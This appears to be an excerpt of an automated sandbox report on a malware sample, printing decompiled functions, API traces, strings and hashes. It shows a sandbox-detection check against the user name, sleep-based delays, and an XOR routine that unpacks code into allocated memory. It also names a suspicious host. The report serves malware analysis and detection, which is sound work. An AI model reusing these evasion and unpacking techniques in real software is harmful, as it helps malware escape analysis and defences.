Opcode Fuzzy Hash: a808f4f822ba2072542ac23bcd37440d7b0b6367de70ce3a47ec5b97be367c15
Instruction Fuzzy Hash: C771CCB4E40209AFCF14DFE8C984AEEBBB1FF48304F148159E515AB344D7786985CBA8

Function 00419900, Relevance: 15.8, APIs: 6, Strings: 3, Instructions: 99sleepthread

APIs

OutputDebugStringA.KERNELBASE(WMA 0), ref: 00419944

Part of subcall function 00403EF0: GetModuleHandleW.KERNELBASE(00000000), ref: 00403F1C
Part of subcall function 00403EF0: GetCurrentProcess.KERNEL32(00000008,00000000), ref: 00403F28
Part of subcall function 00403EF0: OpenProcessToken.ADVAPI32(00000000), ref: 00403F2F
Part of subcall function 00403EF0: GetTokenInformation.ADVAPI32(00000000,00000001(TokenIntegrityLevel),00000000,00000000,00000000), ref: 00403F4D
Part of subcall function 00403EF0: GetLastError.KERNEL32 ref: 00403F53
Part of subcall function 00403EF0: GlobalAlloc.KERNEL32(00000040,00000000), ref: 00403F68
Part of subcall function 00403EF0: GetTokenInformation.ADVAPI32(00000000,00000001(TokenIntegrityLevel),00000000,00000000,00000000), ref: 00403F8D
Part of subcall function 00403EF0: ConvertSidToStringSidW.ADVAPI32(?,00000000), ref: 00403FA5
Part of subcall function 00403EF0: StrCmpIW.SHLWAPI(00000000,00000000), ref: 0040407A
Part of subcall function 00403EF0: LocalFree.KERNEL32(00000000,?,00000000), ref: 0040408F
Part of subcall function 00403EF0: GlobalFree.KERNEL32(00000000), ref: 004040A1
Part of subcall function 00403EF0: CloseHandle.KERNEL32(00000000), ref: 004040AB

SetEvent.KERNEL32(00000144), ref: 0041995A
ExitThread.KERNEL32 ref: 00419962

Part of subcall function 00411CA0: GetProcessHeap.KERNEL32(00000008,00000208,?), ref: 00411CC2
Part of subcall function 00411CA0: HeapAlloc.KERNEL32(00000000), ref: 00411CC9
Part of subcall function 00411CA0: wsprintfW.USER32 ref: 00411DF6
Part of subcall function 00411CA0: GetProcessHeap.KERNEL32(00000008,00000000,?,80000001,00000000,?), ref: 00411E4B
Part of subcall function 00411CA0: HeapAlloc.KERNEL32(00000000), ref: 00411E52
Part of subcall function 00411CA0: GetProcessHeap.KERNEL32(00000000,?,00000000,?,80000001,00000000,?), ref: 00411E72
Part of subcall function 00411CA0: HeapReAlloc.KERNEL32(00000000), ref: 00411E79
Part of subcall function 00411CA0: GetProcessHeap.KERNEL32(00000000,00000000), ref: 00411EAB
Part of subcall function 00411CA0: HeapFree.KERNEL32(00000000), ref: 00411EB2
Part of subcall function 00411CA0: RegCloseKey.ADVAPI32(00000000), ref: 00411ED0
Part of subcall function 00411CA0: GetProcessHeap.KERNEL32(00000000,00000000,80000001,00000000,00020019,00000000), ref: 00411EDC
Part of subcall function 00411CA0: HeapFree.KERNEL32(00000000), ref: 00411EE3

OutputDebugStringA.KERNEL32(WMA 1,?,004292D0,00000000,?), ref: 00419991

Part of subcall function 00403DC0: GetProcessHeap.KERNEL32(00000000,?,?,?,00419B70,00000000,DDDD,00000004,00408712,?,?,?), ref: 00403DEB
Part of subcall function 00403DC0: HeapFree.KERNEL32(00000000,?,00419B70), ref: 00403DF2

SetEvent.KERNEL32(00000144,?), ref: 004199A6

Part of subcall function 004196C0: Sleep.KERNELBASE(-0000EA60,00000028,00000028), ref: 004198D4

Sleep.KERNELBASE(-0000EA60), ref: 00419A28

Part of subcall function 0040E930: GetModuleHandleA.KERNEL32(00000000,00000000,00000010,0000000A,004292D0), ref: 0040EA99
Part of subcall function 0040E930: GetProcAddress.KERNEL32(00000000), ref: 0040EAA0

Part of subcall function 00419BA0: OutputDebugStringA.KERNEL32(WMA 1,00000050,004292D0,000000FF,00000050,?,?,00000050,?,?,?,00419A0C,-0041E1F1,?,?,000000FF), ref: 00419BF9
Part of subcall function 00419BA0: SetEvent.KERNEL32(00000144,00000050,?,00419A0C,-0041E1F1,?,?,000000FF,00000050,?,?), ref: 00419C0F
Part of subcall function 00419BA0: OutputDebugStringA.KERNEL32(WMA 2,?,?,00000050,?,?,?,00419A0C,-0041E1F1,?,?,000000FF,00000050,?,?), ref: 00419C23

Part of subcall function 00419A40: lstrcpyA.KERNEL32(00000000,-0041E2F0,DDDD,00000004,00408712,?,?,?,?), ref: 00419B0E
Part of subcall function 00419A40: lstrcpyA.KERNEL32(00000000,-0041E2E7), ref: 00419B5F

Strings

pin.kmsconsultantsllc.com, xrefs: 00419A00
WMA 0, xrefs: 0041993F
WMA 1, xrefs: 0041998C

Memory Dump Source

Source File: 00000000.00000002.791165744.0000000000401000.00000040.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.791155922.0000000000400000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Heap$Process$FreeString$AllocDebugOutput$EventHandleToken$CloseGlobalInformationModuleSleeplstrcpy$AddressConvertCurrentErrorExitLastLocalOpenProcThreadwsprintf
String ID: WMA 0$WMA 1$pin.kmsconsultantsllc.com
API String ID: 1234168425-4187549580
Opcode ID: c323eca8a7ab8f6dd4aa62c28911a9ffb36213dfc5a9cae2ff477db2178d6ede
Instruction ID: 824a694e0f15296cd3fad48a4f9fb3fbf1857e043a8377514805fbc1af19a39f
Opcode Fuzzy Hash: c323eca8a7ab8f6dd4aa62c28911a9ffb36213dfc5a9cae2ff477db2178d6ede
Instruction Fuzzy Hash: 8731B571A40204ABCB00DFA5CC95BDF77B9EF48700F50846AE505A3290DB389E85CB68

Function 00428F2A, Relevance: 15.8, APIs: 4, Strings: 5, Instructions: 46
libraryloader

C-Code - Quality: 88%

			E00428F2A(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				struct HINSTANCE__* _t20;
				intOrPtr _t24;
				intOrPtr _t28;
				_Unknown_base(*)()* _t29;
				_Unknown_base(*)()* _t30;
				void* _t34;
				intOrPtr _t39;
				void* _t40;

				_t34 = __edx;
				_t31 = __ebx;
				_push(0xc);
				_push(0x43ad08);
				E004294C4(__ebx, __edi, __esi);
				_t20 = GetModuleHandleA("KERNEL32.DLL"); // executed
				 *(_t40 - 0x1c) = _t20;
				_t39 =  *((intOrPtr*)(_t40 + 8));
				 *((intOrPtr*)(_t39 + 0x5c)) = 0x43e468;
				 *((intOrPtr*)(_t39 + 0x14)) = 1;
				if(_t20 != 0) {
					_t31 = GetProcAddress; // executed
					_t29 = GetProcAddress(_t20, "EncodePointer"); // executed
					 *(_t39 + 0x1f8) = _t29;
					_t30 = GetProcAddress( *(_t40 - 0x1c), "DecodePointer"); // executed
					 *(_t39 + 0x1fc) = _t30;
				}
				 *((intOrPtr*)(_t39 + 0x70)) = 1;
				 *((char*)(_t39 + 0xc8)) = 0x43;
				 *((char*)(_t39 + 0x14b)) = 0x43;
				 *(_t39 + 0x68) = 0x43e7e0;
				InterlockedIncrement(0x43e7e0);
				E00429908(_t31, _t34, 1, 0xc);
				 *(_t40 - 4) =  *(_t40 - 4) & 0x00000000;
				_t24 =  *((intOrPtr*)(_t40 + 0xc));
				 *((intOrPtr*)(_t39 + 0x6c)) = _t24;
				if(_t24 == 0) {
					_t28 =  *0x43ede8; // 0x43ed10
					 *((intOrPtr*)(_t39 + 0x6c)) = _t28;
				}
				_push( *((intOrPtr*)(_t39 + 0x6c)));
				E0042BBB1();
				 *(_t40 - 4) = 0xfffffffe;
				return E00429509(E00428FD5());
			}

0x00428f2a
0x00428f2a
0x00428f2a
0x00428f2c
0x00428f31
0x00428f3b
0x00428f41
0x00428f44
0x00428f47
0x00428f51
0x00428f56
0x00428f5e
0x00428f64
0x00428f66
0x00428f74
0x00428f76
0x00428f76
0x00428f7c
0x00428f7f
0x00428f86
0x00428f92
0x00428f96
0x00428f9e
0x00428fa4
0x00428fa8
0x00428fab
0x00428fb0
0x00428fb2
0x00428fb7
0x00428fb7
0x00428fba
0x00428fbd
0x00428fc3
0x00428fd4

APIs

GetModuleHandleA.KERNELBASE(KERNEL32.DLL,0043AD08,0000000C,0042903C,00000000,00000000,?,?,0042849C), ref: 00428F3B
GetProcAddress.KERNELBASE(00000000,EncodePointer), ref: 00428F64
GetProcAddress.KERNELBASE(?,DecodePointer), ref: 00428F74
InterlockedIncrement.KERNEL32(0043E7E0), ref: 00428F96

Part of subcall function 00429908: EnterCriticalSection.KERNEL32(?,?,?,0042F055,00000004,0043AFA8,0000000C,0042B610,?,?,00000000,00000000,00000000,00429013,00000001,00000214), ref: 00429930

Part of subcall function 0042BBB1: InterlockedIncrement.KERNEL32(?), ref: 0042BBC0
Part of subcall function 0042BBB1: InterlockedIncrement.KERNEL32(?), ref: 0042BBCD
Part of subcall function 0042BBB1: InterlockedIncrement.KERNEL32(?), ref: 0042BBDA
Part of subcall function 0042BBB1: InterlockedIncrement.KERNEL32(?), ref: 0042BBE7
Part of subcall function 0042BBB1: InterlockedIncrement.KERNEL32(?), ref: 0042BBF4
Part of subcall function 0042BBB1: InterlockedIncrement.KERNEL32(?), ref: 0042BC0C
Part of subcall function 0042BBB1: InterlockedIncrement.KERNEL32(00000000), ref: 0042BC1C
Part of subcall function 0042BBB1: InterlockedIncrement.KERNEL32(?), ref: 0042BC30

Strings

KERNEL32.DLL, xrefs: 00428F36
DecodePointer, xrefs: 00428F6C
hC, xrefs: 00428F47
EncodePointer, xrefs: 00428F58
C, xrefs: 00428F8D

Memory Dump Source

Source File: 00000000.00000001.108431688.0000000000401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000001.108422351.0000000000400000.00000002.sdmp
Associated: 00000000.00000001.108497117.0000000000439000.00000002.sdmp
Associated: 00000000.00000001.108508526.000000000043C000.00000008.sdmp
Associated: 00000000.00000001.108519156.0000000000440000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: IncrementInterlocked$AddressProc$CriticalEnterHandleModuleSection
String ID: DecodePointer$EncodePointer$KERNEL32.DLL$hC$C
API String ID: 1110393133-2625996745
Opcode ID: e194e1fc7399c661799b173112307840e9518758f2d3799bb3c347264fbce51e
Instruction ID: 9eef465a145863495c9bf44bc53d78624a362b23e76431de1f460a5beac8104f
Opcode Fuzzy Hash: e194e1fc7399c661799b173112307840e9518758f2d3799bb3c347264fbce51e
Instruction Fuzzy Hash: 2211A070A40701AFE710AF36D805B9ABBE0EF48314F50542EE499D6390CBB8A900CF58

Function 0023075A, Relevance: 15.8, APIs: 2, Strings: 7, Instructions: 40

APIs

GetUserNameA.ADVAPI32(?,00000400), ref: 0023077C
CharUpperBuffA.USER32(?,00000400), ref: 00230790

Strings

A, xrefs: 0023079F
S, xrefs: 00230796
B, xrefs: 002307BA
X, xrefs: 002307CC
O, xrefs: 002307C3
D, xrefs: 002307B1
N, xrefs: 002307A8

Memory Dump Source

Source File: 00000000.00000002.791026404.0000000000230000.00000040.sdmp, Offset: 00230000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_230000_8UT1RfjZ0z.jbxd

Similarity

API ID: BuffCharNameUpperUser
String ID: A$B$D$N$O$S$X
API String ID: 3924116825-3318793588
Opcode ID: b52bf1057983c6cbcc7483d41742c1e59c54c19f48171b236f7383b447604757
Instruction ID: 808eae613a6a200bb3c8dd4c7584a2fa73dad3445420fe0db674b2e192009339
Opcode Fuzzy Hash: b52bf1057983c6cbcc7483d41742c1e59c54c19f48171b236f7383b447604757
Instruction Fuzzy Hash: 1901D6E5C0419959DF228A71899C7DDFFB84B11324F0440D7C38971483E6B86B998F39

Function 00424EB0, Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 118
sleep

C-Code - Quality: 78%

			E00424EB0(void* __eflags) {
				signed int _v8;
				intOrPtr _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				char _v36;
				intOrPtr _v40;
				signed int _v48;
				char _v52;
				signed int _v56;
				intOrPtr _v60;
				char* _v64;
				char _v68;
				signed int* _v72;
				char _v76;
				intOrPtr* _v80;
				signed int _v88;
				intOrPtr _v92;
				intOrPtr _v100;
				intOrPtr _t94;
				intOrPtr _t97;
				signed int _t102;
				intOrPtr _t118;

				E00424B10();
				_v48 = 0xae17;
				_v52 = 0x14;
				_v64 =  &_v52;
				asm("cdq");
				_v52 = _v48 / (_v52 + 1) + _v52;
				E00424B10(); // executed
				E00424B80(_v48); // executed
				_v36 = E00424EB0;
				_v32 = 0x401008;
				_v28 = 0x23818;
				_v24 = 0;
				_v20 = 0;
				_t94 =  *0x401000; // 0x217d
				_v16 = _t94;
				_t118 =  *0x43ca50; // 0x28600
				_v12 = _t118;
				Sleep(0x9470); // executed
				_v40 = 0xf76a7caa;
				_v40 = _v40 - _v40 - _v40;
				_t97 = E00424830(); // executed
				_v60 = _t97;
				_v60( &_v36);
				_v8 = 0x38e7;
				if(_v8 != 0xf9) {
					GetTickCount();
					_v92 = 0xd9ac;
					if(_v92 > 0xb14a) {
						_v56 = 0xf0;
						_v92 = _v92 - _v56 + _v92;
					} else {
						_v56 = 0x77;
						_v100 = _v92 - _v56;
						GetTickCount();
					}
				} else {
					_v56 = 0xfdd5f00a;
					_v76 = 0x60e0;
					asm("cdq");
					_v76 = _v56 / (_v76 + 1) + _v76;
					_v68 = 0x68;
					_v72 =  &_v68;
					_v56 = (( *_v72 & 0x0000a04b) + _v68) * _v56;
					if(_v76 == 0xfa0c6a86) {
						asm("cdq");
						_v88 = _v56 / (_v56 + 1);
						E00424D80(_v76);
					} else {
						_v76 = _v76 - _v76 + _v68;
						_v8 = _v56 - _v68 + _v8;
						_v80 =  &_v76;
						_v56 = (_v76 +  *_v80) * _v56;
					}
				}
				_v56 = 0x5c33;
				_t102 = (_v56 + _v8) * _v8;
				_v8 = _t102;
				return _t102;
			}

0x00424eb6
0x00424ebb
0x00424ec2
0x00424ecc
0x00424ed8
0x00424ede
0x00424ee1
0x00424eea
0x00424ef2
0x00424ef9
0x00424f00
0x00424f07
0x00424f0e
0x00424f15
0x00424f1a
0x00424f1d
0x00424f23
0x00424f2b
0x00424f31
0x00424f43
0x00424f46
0x00424f4b
0x00424f52
0x00424f58
0x00424f66
0x00425005
0x0042500b
0x00425019
0x00425033
0x00425045
0x0042501b
0x0042501b
0x00425028
0x0042502b
0x0042502b
0x00424f6c
0x00424f6c
0x00424f73
0x00424f83
0x00424f89
0x00424f8c
0x00424f96
0x00424fab
0x00424fb5
0x00424ff1
0x00424ff4
0x00424ffb
0x00424fb7
0x00424fc2
0x00424fce
0x00424fd4
0x00424fe3
0x00424fe3
0x00425003
0x00425048
0x00425055
0x00425059
0x0042505f

APIs

Part of subcall function 00424B10: GetVersionExA.KERNEL32(?), ref: 00424B6B
Part of subcall function 00424B10: GetEnvironmentStrings.KERNELBASE ref: 00424B73

Part of subcall function 00424B80: GetCommandLineA.KERNELBASE ref: 00424BF0
Part of subcall function 00424B80: GetVersionExA.KERNELBASE(?), ref: 00424D1D
Part of subcall function 00424B80: GetTickCount.KERNEL32 ref: 00424D4F

Sleep.KERNELBASE(00009470), ref: 00424F2B

Part of subcall function 00424830: VirtualAlloc.KERNELBASE(00000000,00000A10,00003000,-0000003C), ref: 004248A2

GetTickCount.KERNEL32 ref: 00425005
GetTickCount.KERNEL32 ref: 0042502B

Strings

8, xrefs: 00424F58
3\, xrefs: 00425048
h, xrefs: 00424F8C
`, xrefs: 00424F73

Memory Dump Source

Source File: 00000000.00000001.108431688.0000000000401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000001.108422351.0000000000400000.00000002.sdmp
Associated: 00000000.00000001.108497117.0000000000439000.00000002.sdmp
Associated: 00000000.00000001.108508526.000000000043C000.00000008.sdmp
Associated: 00000000.00000001.108519156.0000000000440000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: CountTick$Version$AllocCommandEnvironmentLineSleepStringsVirtual
String ID: 3\$h$8$`
API String ID: 368624816-2444660832
Opcode ID: 8b65ac0d78916672d03f44deeded1fc70d8b32d1989d9a475b318e824e23f9af
Instruction ID: 28dda9f14b21ff9a6d1d45fe21b5be40ea6781f5f0c80db312695fc5eefd2e08
Opcode Fuzzy Hash: 8b65ac0d78916672d03f44deeded1fc70d8b32d1989d9a475b318e824e23f9af
Instruction Fuzzy Hash: 41518CB4E01218DFDB04CFE8EA94A9DBBB2FF48308F24811AE4056B244D7796A45CB45

Function 00428E23, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 32
libraryloader

C-Code - Quality: 73%

			E00428E23(intOrPtr _a4) {
				intOrPtr _v0;
				struct HINSTANCE__* _t6;
				_Unknown_base(*)()* _t8;
				intOrPtr _t9;
				intOrPtr _t10;
				void* _t12;

				if(TlsGetValue( *0x43e51c) == 0) {
					L4:
					_t6 = GetModuleHandleA("KERNEL32.DLL"); // executed
					if(_t6 == 0) {
						L8:
						return _a4;
					}
					_t8 = GetProcAddress(_t6, "DecodePointer"); // executed
					L6:
					if(_t8 != 0) {
						_t9 =  *_t8(_a4); // executed
						_v0 = _t9;
					}
					goto L8;
				}
				_t10 =  *0x43e518; // 0xffffffff
				if(_t10 == 0xffffffff) {
					goto L4;
				}
				_push(_t10);
				_t12 =  *(TlsGetValue( *0x43e51c))();
				if(_t12 == 0) {
					goto L4;
				}
				_t8 =  *(_t12 + 0x1fc);
				goto L6;
			}

0x00428e34
0x00428e57
0x00428e5c
0x00428e64
0x00428e80
0x00428e85
0x00428e85
0x00428e6c
0x00428e72
0x00428e74
0x00428e7a
0x00428e7c
0x00428e7c
0x00000000
0x00428e74
0x00428e36
0x00428e3e
0x00000000
0x00000000
0x00428e40
0x00428e49
0x00428e4d
0x00000000
0x00000000
0x00428e4f
0x00000000

APIs

TlsGetValue.KERNEL32 ref: 00428E30
TlsGetValue.KERNEL32 ref: 00428E47
GetModuleHandleA.KERNELBASE(KERNEL32.DLL,?,00428EC5,?,?,0042849C), ref: 00428E5C
GetProcAddress.KERNELBASE(00000000,DecodePointer,?,00428EC5,?,?,0042849C), ref: 00428E6C
RtlDecodePointer.NTDLL(?,?,00428EC5,?,?,0042849C), ref: 00428E7A

Strings

KERNEL32.DLL, xrefs: 00428E57
DecodePointer, xrefs: 00428E66

Memory Dump Source

Source File: 00000000.00000001.108431688.0000000000401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000001.108422351.0000000000400000.00000002.sdmp
Associated: 00000000.00000001.108497117.0000000000439000.00000002.sdmp
Associated: 00000000.00000001.108508526.000000000043C000.00000008.sdmp
Associated: 00000000.00000001.108519156.0000000000440000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Value$AddressDecodeHandleModulePointerProc
String ID: DecodePointer$KERNEL32.DLL
API String ID: 3637547452-629428536
Opcode ID: d90031bc0d2657d0ccf513756c014e85132bda52ed8072b7ae8bb40ea2a7daf2
Instruction ID: 16ef73361a2762fade58a8d6e7a4f79727c3419c3c4b45fbf5c730e8a0ac675d
Opcode Fuzzy Hash: d90031bc0d2657d0ccf513756c014e85132bda52ed8072b7ae8bb40ea2a7daf2
Instruction Fuzzy Hash: 5BF0B430305212AA8B145B65FC05B5F3AA49F40794755553AF454C21B0DF79DC01CA5D

Function 00428DB7, Relevance: 12.3, APIs: 5, Strings: 2, Instructions: 32
libraryloader

C-Code - Quality: 73%

			E00428DB7(intOrPtr _a4) {
				intOrPtr _v0;
				struct HINSTANCE__* _t6;
				_Unknown_base(*)()* _t8;
				intOrPtr _t9;
				intOrPtr _t10;
				void* _t12;

				if(TlsGetValue( *0x43e51c) == 0) {
					L4:
					_t6 = GetModuleHandleA("KERNEL32.DLL"); // executed
					if(_t6 == 0) {
						L8:
						return _a4;
					}
					_t8 = GetProcAddress(_t6, "EncodePointer"); // executed
					L6:
					if(_t8 != 0) {
						_t9 =  *_t8(_a4); // executed
						_v0 = _t9;
					}
					goto L8;
				}
				_t10 =  *0x43e518; // 0xffffffff
				if(_t10 == 0xffffffff) {
					goto L4;
				}
				_push(_t10);
				_t12 =  *(TlsGetValue( *0x43e51c))();
				if(_t12 == 0) {
					goto L4;
				}
				_t8 =  *(_t12 + 0x1f8);
				goto L6;
			}

0x00428dc8
0x00428deb
0x00428df0
0x00428df8
0x00428e14
0x00428e19
0x00428e19
0x00428e00
0x00428e06
0x00428e08
0x00428e0e
0x00428e10
0x00428e10
0x00000000
0x00428e08
0x00428dca
0x00428dd2
0x00000000
0x00000000
0x00428dd4
0x00428ddd
0x00428de1
0x00000000
0x00000000
0x00428de3
0x00000000

APIs

TlsGetValue.KERNEL32 ref: 00428DC4
TlsGetValue.KERNEL32 ref: 00428DDB
GetModuleHandleA.KERNELBASE(KERNEL32.DLL,?,?,?,0043F098,004283C7,0043F098,Microsoft Visual C++ Runtime Library,00012010), ref: 00428DF0
GetProcAddress.KERNELBASE(00000000,EncodePointer,?,?,?,0043F098,004283C7,0043F098,Microsoft Visual C++ Runtime Library,00012010), ref: 00428E00
RtlEncodePointer.NTDLL(?,?,?,?,0043F098,004283C7,0043F098,Microsoft Visual C++ Runtime Library,00012010), ref: 00428E0E

Strings

KERNEL32.DLL, xrefs: 00428DEB
EncodePointer, xrefs: 00428DFA

Memory Dump Source

Source File: 00000000.00000001.108431688.0000000000401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000001.108422351.0000000000400000.00000002.sdmp
Associated: 00000000.00000001.108497117.0000000000439000.00000002.sdmp
Associated: 00000000.00000001.108508526.000000000043C000.00000008.sdmp
Associated: 00000000.00000001.108519156.0000000000440000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: Value$AddressEncodeHandleModulePointerProc
String ID: EncodePointer$KERNEL32.DLL
API String ID: 3030820695-3682587211
Opcode ID: 545f8baef0fbdfc81915e9df12fe53b81a2787852286bcb0baa5a5135dc49083
Instruction ID: 035ea1d51dae4b05d849dcc51ea7b59ad8e8fd7c5bf7aab5fa98a88da3edf038
Opcode Fuzzy Hash: 545f8baef0fbdfc81915e9df12fe53b81a2787852286bcb0baa5a5135dc49083
Instruction Fuzzy Hash: D4F05E30306222ABDB149F66FC44A9F3AE8AF40398755543AF415E22F0DF79DD42CA6C

Function 00424830, Relevance: 12.2, APIs: 1, Strings: 7, Instructions: 195
memory

C-Code - Quality: 87%

			E00424830() {
				signed int _v8;
				signed int* _v12;
				signed int _v16;
				signed int _v20;
				intOrPtr _v24;
				signed int* _v28;
				signed int _v32;
				long _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				signed int _v48;
				signed int _v52;
				void* _v56;
				signed int* _v60;
				signed int _v64;
				intOrPtr _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				intOrPtr* _v84;
				signed int _v88;
				char _v92;
				signed int _v96;
				signed int _v100;
				intOrPtr _v108;
				signed int _v112;
				signed int _v116;
				signed int* _v120;
				signed int _v124;
				char _v128;
				signed int _v132;
				intOrPtr _v136;
				void* _t159;
				void* _t160;
				long _t195;
				void* _t252;

				_v56 = 0;
				_v36 = 0xa10;
				_v44 = 2;
				_v32 = 0xe0a5;
				_v48 = 0xec;
				_v48 = (_v32 + _v48) * _v48;
				_v28 =  &_v32;
				_v12 =  &_v48;
				asm("cdq");
				_v32 =  *_v28 / (_v48 + 1) * _v32;
				_t195 =  *0x43ca58; // 0x3000
				_t159 =  *0x43f040; // 0x0
				_t160 = VirtualAlloc(_t159, _v36, _t195, _v44 + 0x3e); // executed
				_v56 = _t160;
				_v20 = 0x29;
				_v8 = 0x35;
				_v20 = _v20 * _v8 * _v20;
				_v24 = 0xfc3ae383;
				if(_v24 <= _v20) {
					_v64 = 0xde57;
					_v60 =  &_v20;
					_v20 = _v20 -  *_v60 * _v64;
				}
				_v20 = (_v24 + _v24) * _v20;
				_v16 = 0;
				_v40 = 0x284;
				while(_v16 < _v40) {
					_v92 = 0xacd4;
					_v88 = 0xf;
					_v84 =  &_v92;
					_v92 =  *_v84 + _v88 + _v92;
					_v76 = 0x340f;
					asm("cdq");
					_v76 = _v76 / (_v76 + 1) * _v76;
					_v100 = 0;
					while(_v100 < 3) {
						_v100 = _v100 + 1;
					}
					 *(_v56 + _v16 * 4) =  *(0x43c040 + _v16 * 4) ^  *0x43c038;
					_t210 = _v16;
					 *(_v56 + _v16 * 4) =  *(_v56 + _v16 * 4) +  *0x43c038;
					_v68 = 0xfc714d0f;
					if(_v68 >= 0xf51bb5f9) {
						_v108 = 0xf8f888d4;
						_push(_v108); // executed
						E00424820(_t210); // executed
						_v72 = 0x9f;
						_v112 = 0xf;
						_t210 = _v72 * _v112;
						_v72 = _v72 - _v72 * _v112;
						_push(_v108); // executed
						E00424820(_v72 * _v112); // executed
						_push("STATUS_DS_INIT_FAILURE_CONSOLE"); // executed
						E00424820(_v72 * _v112); // executed
						_t252 = _t252 + 0xc;
					}
					_v116 = 0;
					while(_v116 < 1) {
						_push("INTERFACE"); // executed
						E00424820(_t210); // executed
						_t252 = _t252 + 4;
						_v128 = 0xfb40df77;
						_v120 =  &_v128;
						_v132 = 0x3943;
						_t220 = _v68 + 1;
						asm("cdq");
						_v124 = ( *_v120 & _v132) / (_v68 + 1);
						_v136 = 0;
						while(_v136 < 1) {
							_push("The operation was unsuccessful because a system error occurred"); // executed
							E00424820(_t220); // executed
							_t252 = _t252 + 4;
							_v72 = 0xf5278870;
							_v72 = _v72 + _v124 + _v72;
							_v136 = _v136 + 1;
						}
						_t210 = _v116 + 1;
						_v116 = _v116 + 1;
					}
					_v80 = 0xbc14;
					_v80 = (_v68 + _v80) * _v80;
					 *(_v56 + _v16 * 4) =  *(_v56 + _v16 * 4) ^  *0x43c038;
					_v96 = 0xe;
					_v96 = (_v96 - _v96) * _v96;
					_v16 = _v16 + 1;
				}
				_v52 = 0x7e6f;
				_t142 =  &_v52; // 0x7e6f
				_t143 =  &_v52; // 0x7e6f
				asm("cdq");
				_t148 =  &_v52; // 0x7e6f
				_v52 =  *_t143 / ( *_t142 + 1) *  *_t148;
				return _v56;
			}

0x00424839
0x00424840
0x00424847
0x0042484e
0x00424855
0x00424866
0x0042486c
0x00424872
0x00424880
0x00424887
0x00424891
0x0042489c
0x004248a2
0x004248a8
0x004248ab
0x004248b2
0x004248c4
0x004248c7
0x004248d4
0x004248d6
0x004248e0
0x004248f1
0x004248f1
0x004248fe
0x00424901
0x00424908
0x0042490f
0x0042491b
0x00424922
0x0042492c
0x0042493a
0x0042493d
0x0042494d
0x00424954
0x00424957
0x00424969
0x00424966
0x00424966
0x00424987
0x00424999
0x0042499f
0x004249a2
0x004249b0
0x004249b2
0x004249bc
0x004249bd
0x004249c5
0x004249cc
0x004249d6
0x004249df
0x004249e5
0x004249e6
0x004249ee
0x004249f3
0x004249f8
0x004249f8
0x004249fb
0x00424a0d
0x00424a17
0x00424a1c
0x00424a21
0x00424a24
0x00424a2e
0x00424a31
0x00424a43
0x00424a46
0x00424a49
0x00424a4c
0x00424a67
0x00424a70
0x00424a75
0x00424a7a
0x00424a7d
0x00424a8d
0x00424a61
0x00424a61
0x00424a07
0x00424a0a
0x00424a0a
0x00424a97
0x00424aa8
0x00424ac0
0x00424ac3
0x00424ad4
0x00424add
0x00424add
0x00424ae5
0x00424aec
0x00424af2
0x00424af5
0x00424af8
0x00424afc
0x00424b05

APIs

VirtualAlloc.KERNELBASE(00000000,00000A10,00003000,-0000003C), ref: 004248A2

Part of subcall function 00424820: GetEnvironmentStringsW.KERNEL32 ref: 00424824

Strings

The operation was unsuccessful because a system error occurred, xrefs: 00424A70
5, xrefs: 004248B2
INTERFACE, xrefs: 00424A17
STATUS_DS_INIT_FAILURE_CONSOLE, xrefs: 004249EE
o~, xrefs: 00424AEC
C9, xrefs: 00424A31
), xrefs: 004248AB

Memory Dump Source

Source File: 00000000.00000001.108431688.0000000000401000.00000020.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000001.108422351.0000000000400000.00000002.sdmp
Associated: 00000000.00000001.108497117.0000000000439000.00000002.sdmp
Associated: 00000000.00000001.108508526.000000000043C000.00000008.sdmp
Associated: 00000000.00000001.108519156.0000000000440000.00000002.sdmp

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_1_400000_8UT1RfjZ0z.jbxd

Similarity

API ID: AllocEnvironmentStringsVirtual
String ID: )$5$C9$INTERFACE$STATUS_DS_INIT_FAILURE_CONSOLE$The operation was unsuccessful because a system error occurred$o~
API String ID: 3511282999-3896527053
Opcode ID: bc6bf154d7efe93a06ef3ba4e1f14c9e1a240f758d874801ef9d39d6a92331ba
Instruction ID: e0993f099e96ee2154d5c150d5cf51bc6fb184eca1004a9e17f3a6012c47ccdb
Opcode Fuzzy Hash: bc6bf154d7efe93a06ef3ba4e1f14c9e1a240f758d874801ef9d39d6a92331ba
Instruction Fuzzy Hash: 94A1AEB4E01259DFCB18CFD8E984AADBBB2FF88308F20815AD815AB355C7746946CF44

Function 00230010, Relevance: 12.2, APIs: 8, Instructions: 155memory

APIs

Part of subcall function 002302B2: RtlExitUserThread.NTDLL(00000000), ref: 002301D1
Part of subcall function 002302B2: GetProcAddress.KERNELBASE(?,LoadLibraryA,00000000), ref: 002302D6
Part of subcall function 002302B2: LoadLibraryA.KERNEL32(advapi32.dll), ref: 002302E9
Part of subcall function 002302B2: LoadLibraryA.KERNEL32(user32.dll), ref: 00230301
Part of subcall function 002302B2: GetProcAddress.KERNELBASE(?,VirtualAlloc), ref: 0023031C
Part of subcall function 002302B2: GetProcAddress.KERNELBASE(?,VirtualProtect), ref: 0023033A
